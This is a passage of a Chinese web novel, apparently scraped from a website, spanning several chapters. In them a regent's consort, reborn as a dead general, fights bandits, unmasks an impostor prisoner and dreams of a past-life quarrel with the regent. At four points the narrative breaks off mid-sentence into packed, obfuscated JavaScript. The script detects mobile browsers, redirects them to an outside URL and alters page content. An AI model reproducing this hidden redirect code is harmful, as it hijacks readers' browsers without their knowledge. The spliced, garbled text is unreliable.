谢有缘和林有分也不是好惹的,当即就拦在了沈道溦面前,与几个拿着大刀凶神恶煞的土匪厮杀在一起,丝毫不落下风。 饶是如此,长辞也没有懈怠,一脸警惕地守在沈道溦身旁。还真有一个土匪趁谢有缘和林有分不注意直接一个翻身来到了沈道溦面前,长辞立即与之拼杀起来。 若云很是担心,牙齿都禁不住打起架来。双腿仍旧在发抖,她勉强撑着不让自己倒下,劝说道:“主子,我们要不回马车里吧,这里太危险了。” 沈道溦充耳不闻,只是看着长辞与那个土匪厮杀。 然而因为手无寸铁,他步步退让,终于还是因为不敌被打倒在地。那个土匪满脸络腮胡子,笑着的时候嘴巴里一股恶臭味道。 此时他正骑在长辞身上,沾满鲜血的手抚摸着长辞的脸。 “哈哈哈哈哈哈!你这种小孩儿崽子还想英雄救美!看我不给你点儿颜色瞧瞧!” 他左右开弓地掌掴着长辞,嘴里发出□□的笑声:“待会儿我就让你看看什么叫做女人!” 然而还没等起身,只听嗖地一声,一根簪子准确无误地插入他的太阳穴。上一秒还在凶神恶煞的土匪,下一秒就脑浆四溅地倒在地上。长辞骤然一惊,转头看去,只见沈道溦眼神凌厉,身体还维持着将簪子射出去的姿势。 他不禁吞咽了下口水,拔下尸体上的簪子,仔细在衣服上擦干净了血迹,才双手恭敬地递给沈道溦。 沈道溦面无表情地接过,随意地插回头上。长辞看着这一切,心道不愧是自家主子,不说方才露的那一手,就这等见过鲜血依旧面不改色的气势,就不是常人能及的。 不仅是长辞,连若云都未曾料到。她眼见着长辞倒下,身子像筛子似的抖得不停。岂料下一秒就一道寒光从眼前闪过,那个土匪顷刻间就毙了命。 她原先还道主子不自量力,非要来给摄政王添乱,如今看来,似乎并非如此。 那一边谢有缘和林有分也解决了那几个不知死活的土匪。见这边还倒着一个,谢有缘不禁对长辞这个只到他胸前的小家伙另眼相看。 他拍着后者的肩膀,满眼赞赏:“不错啊小子,看着你瘦瘦弱弱的,没想到这么能干,师从何处啊。” 林有分却是不自觉皱了眉头。 他是真真切切看到长辞是跟着沈道溦练的。 长辞抿紧了唇角不说话。 “嘿,还挺高冷。”谢有缘摸了摸鼻子不说话了。 若云从方才的惊吓里回过神来,不由得斥责道:“你们二位还有如此闲情,不知方才有多危险吗?摄政王要你们保护我家主子,若是我家主子出了什么事,你们担待得起吗?” 此话一出,谢有缘不满地嘟囔一声:“又不是我们让王妃出来的。” 说实话,经过刚才那一战,两个人也有点儿后悔这么轻易就将沈道溦带了出来。若是今夜摄政王府没有遭遇偷袭,岂不是要受摄政王的责骂。 然而他心中刚冒出这个念头,就见天空炸裂一道火花。 谢有缘和林有分两人顿时瞪大了双眼。 此乃摄政王府遇袭的信号。 岀府前他们便做了安排,若是有人来,便放此烟花来示警。 这个安排本来是为反驳沈道溦的,叫她安生留在府里,不要出来节外生枝。至于她说的什么偷袭他二人根本就不信,不料居然真被沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈道溦垂在衣袖中的手忍不住攥紧了。 医师们正在全力救治。 沈道溦一眼瞥过去,居然在其中看到了一个熟悉的人。 秦陵。 此时的她着了一件满是血污的白衣,头发也稍显凌乱。虽然看上去有些狼狈,但从她眼中透露出来的坚毅却是任何华丽的装饰都难以比拟的。 自从上次花疏叶中毒后,她们就未曾见过面。沈道溦很是牵挂她,但又怕过度关注会引起不必要的猜忌。故而一直未能得见,如今再次遇到,实属难得。 她先前预想过唐锶谐来剿匪会从太医院里挑选军医,本想借机打听一下,不成想居然是如此情形。 似是察觉到有道视线在紧盯着自己,百忙之中秦陵回头看了一下,正巧对上沈道溦那满是笑意的一双眸子。 沈道溦正要上前与秦陵说几句话,岂料谢有缘匆匆跑过来,上气不接下气:“王……王妃,摄政王要见你!” 57. 第 57 章 沈道溦进了唐锶谐的营帐。 只见他一身银甲背对着自己,只是未戴头盔。此时已是深夜,营帐内燃着暖黄色的灯火。然而纵使光芒再热烈,也遮不住银甲透射出来的的寒光。 沈道溦有一瞬间的恍惚。 前世见唐锶谐身着银甲时是在战场之上,彼时他们还未倒刀剑相向。唐锶谐纵然性子有些冷淡,但是面冷心热,而且惯会口是心非。 想喝酒还得来找她。 喝到酩酊大醉之时还会责怪是她总是灌他。 总之就是什么都是她的错。 但当时的叶袭宸却有些甘之如饴。 那个时候的唐锶谐虽然有些蛮横不讲理,但是总胜过现在是非不分,黑白不明。 “我不是要你好生待在府里吗?” 一句话将沈道溦拉回现实。 唐锶谐压抑着火气,手指攥得咯吱作响。声音失去了往日的平静,甚至有几分颤抖。许是怕自己生气牛五的面庞吓到沈道溦,他始终背对着她。 故而这句责怪其实并无太大的威慑力。 沈道溦微微勾了勾唇角,并未理会唐锶谐的怒气,而是绕过他走到桌案前,不疾不徐地为自己倒了一杯茶。 “先喝口茶再说吧。” 沈道溦将茶水往前面递了一下,见唐锶谐未有动作,便抬头看着他。 两人对上了彼此的视线。 唐锶谐眸子深沉,沈道溦笑意盈盈。 “你喝完这杯茶,再稍等片刻,梅三刀自然会送上门来。” 唐锶谐眉头轻皱:“你说什么?” “好话不重复二遍。” 沈道溦又给自己倒了一杯,仔细品着。 唐锶谐的目光紧紧地锁住沈道溦,后者却垂眸看了眼喝空的茶杯,诚挚地夸赞了一句。 “你这里的茶叶倒真是不错。” 唐锶谐的眼神变得少许古怪,眼中似有水光闪动,唇角微张,好似重新才认识她一般。 总是感觉如今的沈道溦与在王府时的不同,虽然先前她总是怼自己,但是他总把这看作是使小性子,但是如今却是大不相同。 她像个运筹帷幄的将军,虽未身着盔甲,但却依旧锲而不舍地散发着光芒。 沈道溦一杯接着一杯地喝茶,仿若唐锶谐不存在一般。后者的火气顿时烟消云散,有的只是满腹疑惑。 他已经许久不曾有过这种感觉了。 也就只有在面对叶袭宸的时候,他才总是被她出人意料的策略弄得摸不着头脑。 然而如今他却重新在沈道溦身上找到了相似的感觉。 是自己疑心生暗鬼还是确有其事? 正在唐锶谐想得出神之际,沈道溦却倏然间开了口。 “这么好的茶叶,摄政王确定不喝一杯吗?” 唐锶谐闭了闭眼睛,终是端起了茶杯,轻轻地抿了一口。 沈道溦慢吞吞开口:“方才我说,稍等片刻,梅三刀自会乖乖送上门来。” “送上门来?”唐锶谐放下了茶杯:“送上门来做什么?方才的大火就是他们所为,难道还要折回来杀个回马枪?” 沈道溦神秘一笑:“自然不是。” 唐锶谐道:“那又是什么?” 沈道溦道:“自然是五花大绑的梅三刀。” 此言一出,唐锶谐看向沈道溦的眼神更为古怪。他伸出手探了探后者的额头,蹙眉道:“道溦,你在说什么胡话?” 沈道溦攥住唐锶谐的手腕,将其从自己的额头上拿下:“是不是说胡话,再等片刻便可见分晓。” 唐锶谐见沈道溦一副胸有成竹的样子,更觉怪异,便站起身道:“我还要各营帐部署一下,你好生在这里待着吧。” 沈道溦也一同起身:“我与你一起去。” 唐锶谐十分无奈:“道溦,你一路赶过来,舟马劳顿,疲惫不堪,还是稍作歇息吧。” 沈道溦挑了挑眉头道:“摄政王不怪罪我了?” 唐锶谐揉了揉太阳穴:“怪罪你能有何用?横竖你人都已经来了,再将你赶回去,岂不是更为危险?” 沈道溦的唇角不由得弯了弯。 唐锶谐被她的神情感染到,一直紧绷着的面庞也有了些许缓和,声音低柔了些:“好生歇息吧。” 唐锶谐走后,沈道溦面上的笑容顿时消失。她仰躺在椅子上,手背覆盖住了双眼。 经此一遭,看来花疏叶的的确确要对唐锶谐下手了。 凤尾山的土匪再凶悍,但也是强弩之末,也不至于要唐锶谐亲自带兵来剿匪。再者,加上上次在街上袭击唐锶谐的那一次,还有今夜袭击摄政王府的事情,梅三刀已经两度对唐锶谐这个摄政王下手了。 帝京守备森严,梅三刀居然能两次潜入。若是没有官府的人帮忙,听起来倒真是像天方夜谭。 既能使唤官府的人开后门,又专门挑摄政王下手,除了花疏叶难道还有第二个人吗? 还有唐锶谐要出城剿匪的前一夜,他神志不清地来到自己房里,身上还带有催眠香的味道。而下午时他才进宫拿过奏折,见过的人里除了花疏叶还有旁人吗? 至于为什么既偷袭摄政王府又要他出城剿匪,唯一的解释便是转移天下人的视线,好叫旁人以为唐锶谐之死乃是土匪所为,非关朝廷内部争斗。 不得不说,花疏叶这一计可谓是高明。 只是可惜,遇上了自己。 沈道溦直起身子,一手托着腮,一手轻轻敲击着桌案。 倘若唐锶谐被杀,覆巢之下安有完卵,到时自己也会被清算。更何况,这一计本就是将自己也算在了里面。 偷袭摄政王府是为捉自己而来,为的就是牵制唐锶谐。若说凤尾山上有谁对摄政王府比较熟,又与自己有些交情的,就只有褚梅瑛了。 她若是不走这一遭,枉费褚梅瑛这个名字。 可惜了,沈言商早已在摄政王府伪装,而朝阳县县尉汪安节也已经准备就绪。只要擒住了褚梅瑛,稍加严刑拷打,就可供出幕后主使。 到时不论唐锶谐如何自欺欺人,他也该采取些行动。倘若不采取,他手下的那些亲信就该众叛亲离了。 实话实话,沈道溦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186974|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期盼的是后一种。 她看得出,谢有缘和林有分其实对唐锶谐久不称帝的策略早有不满情绪,只要稍加挑拨便可为己所用。到时有这二人助力,何愁兵权不落己手。 沈道溦正兀自想着,唐锶谐已经挑帘而入,面色十分阴沉。随之而来的正是褚梅瑛,尚且还被谢有缘与林有分押着。 褚梅瑛一进来便对着沈道溦大喊:“沈大小姐救救我啊,我可都是按照你的旨意办事的啊。” 此言一出,沈道溦的心顿时咯噔了一下。她倒险些忘记了,自己还救过这个家伙一命,将其藏在了自己的闺房里。 沈道溦抬起头看向唐锶谐,一双好看的眉眼微微眯了眯:“什么意思?” 唐锶谐还未说话,谢有缘已经叫了起来:“王妃,方才朝阳县尉汪安节将此人送来。摄政王审讯了一番,她说一切都是王妃你指使的。” 沈道溦勾唇:“原来如此,所以你就将她带来与我对质了?” 最后一句是对唐锶谐说的。 唐锶谐抿了抿唇角:“道溦,我只问你一句,你当真想置我于死地吗?” 沈道溦轻笑出声,她走到褚梅瑛跟前,食指挑起她的下巴:“你说是按我的旨意办事,那么请问,你是谁,我都让你办了什么事?” “沈大小姐你可不能装作不认识我啊。”褚梅瑛叫苦连天:“早前我被叶袭宸私自招安,后来她死了,我就成了你的属下。前段时间你命我在街上行刺摄政王,行刺不成还是你将我救出生天。” “后来摄政王出城剿匪,你怕叶袭宸的努力全都白费了,就让我用围魏救赵之计,偷袭摄政王府。哪成想,你居然如此心狠,竟然是怕我将你供出,故而先行一步,设计将我捉拿归案,以此证明你与我并无瓜葛。” 褚梅瑛声泪俱下:“苍天呐,大地呐,我褚梅瑛英雌一世,居然栽在你这样的奸邪小人手里!如今人头落地已是事实,可我不甘心呐!即便身死,我也要将你的罪行公之于世!” 说到最后,褚梅瑛看向沈道溦的眼神里已经带了少许恨意。 谢有缘登时张大双眼:“难怪算得如此精准,原来竟是王妃一手促成!” 林有分踹了他一脚:“胡说些什么!” 谢有缘立即噤了声,可还是心不甘情不愿的。 沈道溦松开了褚梅瑛的下巴,抬眼看向唐锶谐:“你也是如此认为?” 唐锶谐道:“我并未全然信服于她,可她说得也不无道理。” “仅凭一面之词?” 唐锶谐沉默片刻,只道:“沈府的人曾见过褚梅瑛出现在你院中。” “沈府的人?”沈道溦抿唇:“是沈秋实吧。” 唐锶谐没有说话,似是默认了。 沈道溦继续道:“我若没有记错的话,褚梅瑛在街上行刺你我之时,沈秋实尚且还在受牢狱之灾。他如何见得褚梅瑛曾在我院中出现?” 谢有缘拍了一下脑袋:“是呀!时间分明对不上啊。”他腾地拔出剑来,直接架在了褚梅瑛的脖子上。 “快说,你受何人指使,竟然敢污蔑王妃!” 58. 第 58 章 面对谢有缘的刀剑,褚梅瑛依旧鬼哭狼嚎。 “我真的没有污蔑王妃,千真万确是她将我藏于沈府的暖雪阁之中。后来还将我带去了兰庭戏院,委托老板照顾我。后来是我有要事要回去凤尾山,才没有在戏院逗留。” 褚梅瑛双手被缚在身后,无视谢有缘的刀剑无情,直接往前膝行几步。 “摄政王,你好生想一想。倘若沈道溦没有对你有了杀心,她为什么要处处和你作对,甚至多次为了叶袭宸顶撞你。” 这几句话的确是事实。 唐锶谐的眉头已经拧成了疙瘩。他再次看向沈道溦,却见后者神情平淡,似是完全不在乎褚梅瑛的话。 唐锶谐思忖片刻,终是开了口:“道溦。” 沈道溦应了一声就没下文了。 唐锶谐抿紧了唇角:“你有什么想说的吗?” 沈道溦反客为主:“你有什么想问的吗?” 唐锶谐闭了闭眼晴:“你可曾想过将我置于死地?” 沈道溦道:“我若说没有,你可信否?” 这几句似是而非的话弄得唐锶谐措手不及,他斟酌片刻,再次问道:“你可曾做过褚梅瑛方才所说的事情?” “没有。” 沈道溦的回答只有这两个字。 “好。”唐锶谐道:“我明白了。”他示意谢有缘和林有分将褚梅瑛带下去,深深地看了一眼沈道溦后也随之而去。 沈道溦闭了闭眼睛复又睁开,她拿起茶杯喝了一口润润嗓子。外面已经响起鞭子破空的声音和褚梅瑛的惨叫声,她的神情无波无澜。 世人皆知叶袭宸手段狠厉,其实唐锶谐也不遑多让。也是,毕竟从小身为太子,即便秉性纯良,也只是对皇室而言。对于其余的人,就没有那么多的善心了。 沈道溦自动隔离了外头的惨叫声,信手翻起唐锶谐放在桌案上的兵书。 唐锶谐用兵过于保守和墨守成规,打仗也基本以防守为主,从不肯主动出击。只有被逼急了的时候,才会倾巢而出。 她翻了几页,上面密密麻麻的全是小字,都是唐锶谐的批注。此人写字和原身如出一辙,字迹美观大方且娟秀,从不张扬,也从不龙飞凤舞。 沈道溦看得有些眼晕。 一路颠簸,这具身体已经有些支持不住了。 她揉了揉太阳穴,撑起眼皮勉强看下去。视线已然变得有些模糊,沈道溦轻叹一口气,索性不再硬撑,直接趴在桌案上睡了过去。 外面厮杀声渐起。 刀光剑影之中,无数战士马革裹尸。唐锶谐坐镇城楼之上,俯视着下面的滚滚硝烟。 尸横遍野之中,叶袭宸一马当先,手执长枪,扫尽一切。北蛮人已经开始逃窜,丢盔弃甲,溃不成军。 叶袭宸一枪挑破了北蛮人的军旗,放在枪尖上把玩。残布破碎,战火四起,化作点点灰烬落下。 “战士们,乘胜追击,全歼蛮人!” “是——” 叶袭宸夹紧马腹,正要一鼓作气冲上去,背后却传来了震耳欲聋的鸣炮声。 “将军,这是收兵的信号!” “去你大爷的收兵!”叶袭宸轻嗤一声,枪尖指向北蛮人逃窜的背影:“大好形势,他姓唐的收什么兵!且不管他!” “将军!阵前抗命,罪莫大焉!” 已经有士兵拉了叶袭宸的缰绳,阻止她再向前。叶袭宸骂骂咧咧地下了马,气势汹汹地拿着枪回城。 却未入城门,手脚利索地从身上拿出绳索,往城墙抛上去,然后蹭蹭几下跃了上去。 “姓唐的!”叶袭宸枪尖指着唐锶谐的喉咙:“快快下令,让我率军乘胜追击,彻底将北蛮的土地纳入我大衍的版图!” 几个士兵迅速拔出剑来,唐锶谐却示意他们稍安勿躁。他低头看了眼锋利的枪尖,上头依旧残留着北蛮人的鲜血。然后抬起头直视着叶袭宸的眼睛:“倘若我说不呢,你难道就要一枪挑了我吗?” “你……”叶袭宸气得不行,却又无可奈何。 唐锶谐这个小白脸子,不知道和长公主有什么关系。倘若真闹到不可收拾的地步,到头来吃亏的还是自己。 眼见城下北蛮人已经逃得差不多了,最佳的追击时机已经过去,叶袭宸只能心不甘情不愿地收了枪,但依旧放出狠话:“姓唐的,此后我再不会与你一起打仗了!” 唐锶谐拧眉:“为何?” “为何?”叶袭宸气笑了:“你还问为什么!与你一起打仗实在是太不爽了!” 遂提枪而去。 当夜,叶袭宸气得翻来覆去睡不着,门外却响起了弹琴的声音。她气得提枪而出,倒要看看是谁敢在这个时候触自己的霉头。 然而就当她开了门的时候,却瞥见白日里云淡风轻将自己气得不行的人正坐在院子中央抚琴。 一袭青衣风华绝代,一套动作行云流水,一副神情闲适自得。唐锶谐抬起眼睛,见叶袭宸提枪而出,面上不露任何恐惧,却莫名多了几分笑意。 舒缓的琴音徐徐从唐锶谐的指下流出。此时月色皎洁,柔美的月光将整座院子笼罩其中,似是人间仙境一般美轮美奂。 然而偏偏就是有人不解风情,要将风景煞上一煞。 叶袭宸一□□穿了唐锶谐的古琴。 琴弦尚且还在摇晃,琴身已经断作两截。 唐锶谐抬起眼睛看着叶袭宸,神情冷淡:“何必如此?”他站起身来,青色的衣衫在月色下闪耀得有些过分:“不过是未乘胜追击罢了,你何至于这么大火气?” “北蛮人接连犯我国土,你问我何至于这么大火气?”叶袭宸刚刚平息下去的一点儿怒火又立即被激了起来:“你唐锶谐也是辅佐过太子的人!难道你不该怀有和太子一样的想法吗!” 唐锶谐垂下了眸子:“太子已经死了。” “是!”叶袭宸道:“那个雄才大略的太子已经死了,正因如此,他的想法才更要实现!” 唐锶谐抬眸:“你又没有见过太子,你怎知太子是什么想法?” 叶袭宸轻哼了一声:“的确,我没有见过太子,但雄才大略之人,心中定有一腔抱负。如今外敌来犯,岂能龟缩不前?” 叶袭宸的眼中犹闪着怒火,唐锶谐对视了一眼后便很快移开:“穷寇莫追的道理你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190756|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难道不明白吗?” “他们的主将都死了,军心涣散,在这种情形下,你觉得穷寇莫追的道理还适用吗?” 唐锶谐闭了闭眼睛:“即便歼灭了他们,我们也会有伤亡。” “难道让他们休养生息,卷土重来,我们就不会有伤亡了吗?” “我们可以和他们议和,从此不再打仗。” “议和?”叶袭宸恍若听到了什么好笑的笑话一般笑了出来:“大衍和北蛮犬牙交错,已经相互争斗了几百年。倘若能够议和,今日我们还用得着刀剑相向吗?” “前人做不到的事情,我们未必做不到。”唐锶谐轻轻道:“精诚所至,金石为开。与其将北蛮尽数歼灭,不若各自安好。” 叶袭宸嗤笑一声:“当真是极其天真的想法。在你未做将军前,我们几经生死,甚至险些被剥了皮喝了血,你还能说出如此天真的话来!难怪你护不住太子,也护不住唐府上前几百人的性命!” 唐锶谐蓦地睁眼,眸中各种情绪交织在一起。愤怒和惊讶各自参半,但更多是却是一种淡淡的忧伤。 甚至还有水光闪动。 叶袭宸的唇角抽动几下,她未曾料想是如今这副场面,一时有些手足无措。 长公主为其平反不惜与老皇分庭抗礼。倘若要是让她知道自己深夜将唐锶谐弄哭了,说不准会和自己拼命的。 “你……”叶袭宸说不出什么安慰的话来,只是道歉:“对不起,我不该说那些话的。” 唐锶谐垂下了视线:“深夜来访,叨扰了。” 说完便要离开,叶袭宸伸手拉住了他的衣袖,“深夜来访,你若是这般回去了,我定是没有好果子吃的。” 唐锶谐的眉眼染上些许笑意。 “你若是想吃新鲜的瓜果,我这里有长公主前些日子送来的。” 叶袭宸心知这是唐锶谐给了个台阶,便顺坡下驴了:“既是如此,我便恭敬不如从命了。” 第二日,唐锶谐便大摆筵席。新鲜瓜果摆了好几桌,席间叶袭宸与唐锶谐很是客气,算是将昨日的冲突一笔勾销了。 叶袭宸捧着西瓜大吃特吃,一点儿吃相都没有。吃得开心之时,她畅谈前几日得来的几个貌美男子。 “肌肤胜雪,貌美如花……” 叶袭宸正用几个字眼描述着,冷不防一道阴影笼罩下来。她抬起头来看,却见唐锶谐手里握着一方素帕,不知何时站在了自己面前。 叶袭宸重新绽放笑容:“唐兄,你这里的瓜果很是喜人啊。改日也给我送上一些,解渴……” 唐锶谐的素帕抛在了叶袭宸的头上,与此同时,声音也低沉了下来。 “切莫多吃,小心伤身!” 叶袭宸将素帕将头发拿下来,胡乱地抹着唇角:“瓜果有什么伤身的?” 唐锶谐甩袖离席。 叶袭宸怔然片刻,不知唐锶谐为何如此,手里还拿着西瓜就追了上去:“唐兄!唐兄!” “……” 沈道溦趴在桌案之上,口中呢喃:“唐兄……” 唐锶谐正从外头挑帘入内,听到“唐兄”两字,如遭雷击。 59. 第 59 章 沈道溦醒来的时候,发现自己躺在床榻之上,旁边毫不意外地坐着唐锶谐。只是他的神情有些许不对,满脸都写着复杂。 不过此人惯是喜怒无常,沈道溦倒也没觉得有什么,只是坐起来问道:“褚梅瑛招供了吗?” 唐锶谐不答反问:“你只关心这件事情吗?” 沈道溦心中怪异,只是道:“此人乃是我委托朝阳县尉逮捕的,而且方才又意图陷害我,我自然想知道究竟是何人在背后指使。” 唐锶谐看着沈道溦,神情变化莫测,良久后才轻轻唤了一声:“道溦。” 沈道溦蹙眉:“何事?” 唐锶谐道:“方才我如此误会于你,你不生气吗?” 沈道溦斟酌了一下道:“自然是生气的,但如今不是生气的时候。再者,面对生死之事,何人能如此冷静?你我不过是寻常人而已,真正能超脱生死的不在我们之中。” 唐锶谐微微笑了一下:“的确,真正能超脱生死的不在我们之中。” 唐锶谐这副神情很是怪异,沈道溦看着他,后者倏然间俯身下来,双手撑在她的身体两侧。 唐锶谐的气息扑在沈道溦的面颊上,有些温热,也有些痒意。她不由自主地往后退了退,两人的身体近在迟尺,彼此都能听到对方的心跳声。 沈道溦心中微恼。 两人早已有肌肤之亲,甚至做过比现在更亲密的事情。她都不觉得什么,偏偏被如今这副情形弄得有些心烦意乱。 沈道溦抬眸对上唐锶谐那双深邃得如同夜间璀璨星空的眼睛,唇角不由得弯了弯,抬手搂住了他的脖子,以分担身体的重量。而后媚眼如丝,声音缱绻。 “我千里迢迢来寻你,自然是思念你过甚。但如今正是剿匪之时,我也就不作他想。但既然你觉得在此时做这种事情并无不妥,我也就没有任何异议了。” 唐锶谐的喉结滚动了下,眼睛闭了闭,复又睁开。 “道溦。” 声音有些嘶哑,似是在极力克制着什么。 “还是……莫要胡闹了。” 沈道溦笑意更深,知趣地松开了唐锶谐的脖子。唐锶谐迅速起身,整理了下自己的着装。分明未做什么,他的神情却有些狼狈,连发丝也稍显凌乱。 “……褚梅瑛还是不肯招认。”唐锶谐扯开话头:“我已经罚她在外头曝晒几日。” 沈道溦看向外面,营帐的缝隙已经稍微透出些许白色。她翻身下床,“我去看看。” 外面是一片雾蒙蒙的白色,露水极重。昨夜受伤的士兵已经抬回营帐里休息,如今营地里只有几个拿着火把巡逻的士兵。 若云从其中一个营帐出来,见到沈道溦,欣喜地跟了上来。 是了,昨夜是沈道溦让若云和长辞去帮着秦陵医治那些士兵的。 “那些伤兵情况如何?” “秦太医医术高超,已经制出了解药。”若云道:“现在那些士兵正在休养中。” “长辞呢?” “还跟在秦太医身边。” 沈道溦点了点头,穿过重重迷雾走到褚梅瑛面前。篝火隐隐在白色的雾气里闪烁,分明是暖的,但却有几分渗人。 褚梅瑛被绑在刑架上,被打得遍体鳞伤。脑袋低垂着,没有一丝活人的气息。 沈道溦掏出一块帕子,仔细擦拭着褚梅瑛染血的面颊。待擦拭完毕,整张脸都变了模样。 果然。 沈道溦收回了手。 此人不是褚梅瑛,而是旁人易容而成。 沈道溦轻笑一声,将帕子砸在那人身上。好巧不巧,那被打得奄奄一息的人醒了,随即嘲讽地笑了一声。 “王妃亲自来看望我这一阶罪人,罪人真是受宠若惊。” 沈道溦抿唇:“受宠若惊都出来了,看来你也是念过书的。” “念过书倒是不敢,只是有幸在念过书的人身前侍奉过几年。” “念过书的人?”沈道溦双手背在身后:“阁下莫非说的是褚梅瑛?” “褚梅瑛?”那人歪着脑袋,揣着明白装糊涂:“我不就是褚梅瑛吗?” 沈道溦伸手掐住了她的下巴,仔细打量:“你若是褚梅瑛,怎么会如此狼狈?” “如何不会?”那人被迫抬起头,却依旧有精力挑衅:“难道你见过真正的褚梅瑛?” “当然。”沈道溦道:“那些街上遇袭,她险些要了我的命。”她微微抬起下巴,露出脖子上那道极其浅淡的伤痕:“这便是褚梅瑛的手笔。” “什么?”那人微微蹙眉。 沈道溦轻哼一声:“你冒名来诬陷我,难道连这么一个重要的点都不知道吗?” 那人转了转眼珠子,似是在思索。 沈道溦松开了她的下巴:“现在该告诉我你的真实名姓了吧。” “邬桥。” “哪个邬?哪个桥?” 听到沈道溦如此问,邬桥有些讶然。于她而言,自己不过就是个被旁人抛弃的棋子而已。一个棋子,问姓名已是难得,居然还问具体字眼。 “乌鸦耳,木乔桥。” “邬、桥。”沈道溦也不再废话:“如今你是死路一条,如果想要保住你这条性命,你知道该怎么做。” “保住性命?”邬桥笑了:“我既然敢来,就没想活着回去。”她顿了一顿:“王妃莫要以为我告诉你我的真实名姓,就可以为你所用,不过是钦佩王妃的胆识和谋略罢了。” “既然欣赏我的胆识和谋略,又为何不能为我所用呢?”沈道溦道:“我很是好奇,褚梅瑛究竟是用了什么法子让你心甘情愿地追随于她?” 邬桥微微一笑:“王妃如此聪明,不妨猜上一猜。” “无外乎是权力、财富和地位,以及……”沈道溦看着邬桥的眼睛,不放过任何一丝眼神变化:“人。” 邬桥眼神微动。 沈道溦道:“人,无外乎朋友、家人和情郎。看你这个模样,似乎不像是为情所困的人。至于家人,能和褚梅瑛混到一起的人,或许早就家破人亡了。看来只能是朋友了。” “王妃说得不错,的确是朋友。”邬桥阴阳怪气地笑了一声:“王妃果真冰雪聪明,不妨猜猜究竟是什么朋友。” “应该不是褚梅瑛。”沈道溦道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195818|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “此人对你有所隐瞒,若是朋友,此时也该割袍断义了。” 邬桥不语。 沈道溦道:“猜到如今这个地步,我已经尽了全力。我若是认识你便也罢了,但如今我对你一无所知,又怎会知道是哪个朋友。” 邬桥轻挑眉头:“王妃这是打算认输了?” “认输了。”沈道溦轻轻叹了一口气:“剿匪是摄政王的职责,与我没有任何关系。倘若你没有将主意打到我身上,我也不会将你送来这里。我诚心想救你,无奈你不领情,那就只能眼睁睁看着你上路了。” 此时雾气稍散,太阳隐隐约约露了出来。邬桥抬头望着,唇角已经干裂得起皮。她不由得舔了舔,舌尖尝到了血腥的味道。 沈道溦抬脚离开,未走几步便看到了在巡视的唐锶谐。她走了几步上前,并未理会他的伪装,而是直接戳破:“听得可还开心?” 唐锶谐抿紧了唇角,继而面露苦涩:“不甚开心。倘若她真是褚梅瑛,大可押着她上山,那些匪众不敢抵抗,便会束手就擒。可惜,她不是。” 沈道溦没有说话。 唐锶谐犹豫片刻问道:“道溦,你……如何知晓她并非褚梅瑛?” 沈道溦道:“方才不是说过了吗?” “你如何知晓当日袭击我们之人乃是褚梅瑛,又如何知晓我们现在抓的这个不是她?我若没有记错的话,当日她蒙了面,看不清脸。” “看不清脸没错,但是可以看清眼睛。”沈道溦侃侃而谈:“当日行刺之人眼神狠厉,而如今我们抓到的这个人却眼神澄澈。还有身形上的区别,当日她挟持我坐于马上,我感觉到她身前没有几两肉,而今日那个人却体态丰腴。” “原是如此。”唐锶谐道:“那你如何知晓当日行刺之人的名字?” 沈道溦眨了几下眼睛,随口道:“依稀记着是谢有缘还是林有分亦或是你亲口说的,说你已经查清那伙刺客乃是早年间凤尾山上的一伙土匪,匪首梅三刀已经化名褚梅瑛,正是当日挟持我之人。” “原是如此。”唐锶谐点了点头,似乎深信不疑,却转头又道:“不过你竟能使唤动朝阳县尉汪安节,这是我不曾预想到的。” “汪安节乃是你我的三妹婿,再者,即便不看在你摄政王的面子上,他也有维护治安的职责。怎可用使唤这个词?” “说得也是。”唐锶谐抬头仰望天际,语气里有些迷茫:“我从来不知道,你有如此谋略和智慧。” 沈道溦轻笑出声:“毕竟我也是中过状元之人。你如此说,莫不是怀疑我当年的状元有什么水分?” 唐锶谐的视线回到沈道溦脸上,情不自禁地往前走了一步:“状元的考取用的是书本上的东西,距离实践还有很大一步的距离。即便是常年工于心计之人,也未必能做到如你今日这般料事如神。过去二十几年里,你只居住在后院,每日不是缠绵病榻就是侍弄花草,如何能有如此才能?” “我虽困于后院,但也对外界之事很是敏感。若非如此,长公主怎可会想将宰相之位留给我。难不成,在你唐锶谐眼中,助你平反唐府之事的长公主没有识人之能吗?” 60. 第 60 